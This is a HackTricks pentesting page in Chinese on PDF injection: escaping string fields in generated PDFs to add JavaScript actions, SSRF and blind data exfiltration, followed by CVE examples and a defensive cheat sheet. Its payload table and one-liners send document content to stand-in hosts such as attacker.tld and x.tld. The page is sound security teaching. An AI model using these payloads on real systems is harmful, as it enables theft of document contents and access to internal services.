PDF Injection

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

如果你的输入被反映到 PDF 文件中,你可以尝试注入 PDF 数据以执行 JavaScript、触发 SSRF 或窃取 PDF 内容。 PDF 语法非常宽松——如果你能从嵌入输入的字符串或字典中脱出,就可以附加全新的对象(或在同一对象中添加新键),Acrobat/Chrome 会照常解析这些内容。 自 2024 年以来,大量漏洞赏金报告显示:一个未转义的括号或反斜杠就足以实现完整的脚本执行。

TL;DR – 现代攻击工作流程 (2024-2026)

  1. 找到任何用户可控的值,该值最终出现在生成的 PDF 的 (括号字符串)/URI ( … )/JS ( … ) 字段中。
  2. 注入 ) (关闭字符串),随后添加下方的某个原语,并以另一个开括号结尾以保持语法有效。
  3. 将恶意 PDF 交付给受害者(或发送到会自动渲染该文件的后端服务——对于盲漏洞非常有用)。
  4. 你的 payload 会在 PDF 查看器中运行:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (see CVE-2024-4367)
  • Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with this.getPageNthWord)

Example (annotation link hijack):

(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

第一个 ) 关闭原始 URI 字符串,然后我们添加一个新的 Action 字典,当用户点击链接时 Acrobat 会执行该字典。

Useful Injection Primitives

目标Payload 片段说明
JavaScript on open/OpenAction << /S /JavaScript /JS (app.alert(1)) >>文档打开时立即执行(在 Acrobat 中可行,Chrome 中不可行)。
JavaScript on link/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>如果你能控制 /Link 注释,则在 PDFium & Acrobat 中有效。
Blind data exfiltration<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)在 JS 中与 this.getPageNthWord 结合使用以窃取内容。
Server-Side SSRFSame as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI.
Additional Actions (/AA)/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>附加到 Page/Annotation/Form 字典以在打开/聚焦时运行。
Line Break for new objects\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj如果库允许你注入换行字符,你可以创建全新的对象。

Embedded Actions as Injection Targets

PDF 查看器将像 /OpenAction/AA (Additional Actions) 这样的 embedded actions 视为一等功能,能够在文档打开或特定事件触发时运行。如果你能注入到任意接受 actions 的字典(Catalog、Page、Annotation 或 Form field),你可以嫁接一个 /AA 树并在打开/聚焦时触发 JavaScript。

生成器端对象注入的示例(关闭原始字符串/字典并注入 /AA):

) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (

这个模式匹配近期的 jsPDF 问题,其中攻击者控制的输入传入 addJS(或某些 AcroForm 字段)会跳出预期的 JavaScript 字符串并注入一个 Additional Action 字典。

盲枚举技巧

Gareth Heyes (PortSwigger) 发布了一个一行命令,可枚举未知文档内的每个对象——当你无法查看生成的 PDF 时非常有用:

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

The code iterates over the Acrobat DOM and makes outbound requests for every property/value pair, giving you a JSON-ish dump of the file. See the white-paper “Portable Data exFiltration” for the full technique.

Real-World Bugs (2023-2026)

  • CVE-2026-25755 – jsPDF addJS PDF object injection:攻击者可控的字符串可以关闭 JS 字面量并注入 /AA/O/JavaScript 操作,这些操作会在打开/聚焦时触发。
  • CVE-2024-4367 – 在 Firefox 的 PDF.js 4.2.67 之前存在任意 JavaScript 执行:利用精心构造的 /JavaScript action 绕过了 sandbox。
  • Bug bounty 2024-05 – 某大型 fintech 允许客户提供的发票备注落入 /URI;在演示使用 file:/// URI 对内部 metadata 主机触发 SSRF 后,报告获得 $10k 奖金。
  • CVE-2023-26155node-qpdf 通过未消毒的 PDF 路径导致的 command-injection,显示了即使在 PDF 层之前也必须转义反斜杠和括号的重要性。

防御速查表

  1. 不要在 () 字符串或名称中拼接原始用户输入。 根据 PDF 规范 §7.3 转义 \(),或使用十六进制字符串 <...>
  2. 如果构建链接,优先使用 /URI (https://…) 并对其进行完全 URL 编码;在客户端查看器中屏蔽 javascript: 方案。
  3. 在后处理 PDF 时,剥离或验证 /OpenAction/AA(additional actions)、/Launch/SubmitForm/ImportData 字典。
  4. 在服务器端,使用 headless converter(例如 qpdf –decrypt –linearize)渲染不受信任的 PDF,以移除 JavaScript 和外部动作。
  5. 保持 PDF 查看器为最新;PDF.js < 4.2.67 和 Acrobat Reader 在 2024 年 7 月补丁之前允许简单的代码执行。
  6. 如果使用客户端生成器(例如 jsPDF),切勿将不受信任的输入传入 addJS 或最终位于 PDF action 字典内的 AcroForm setter。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks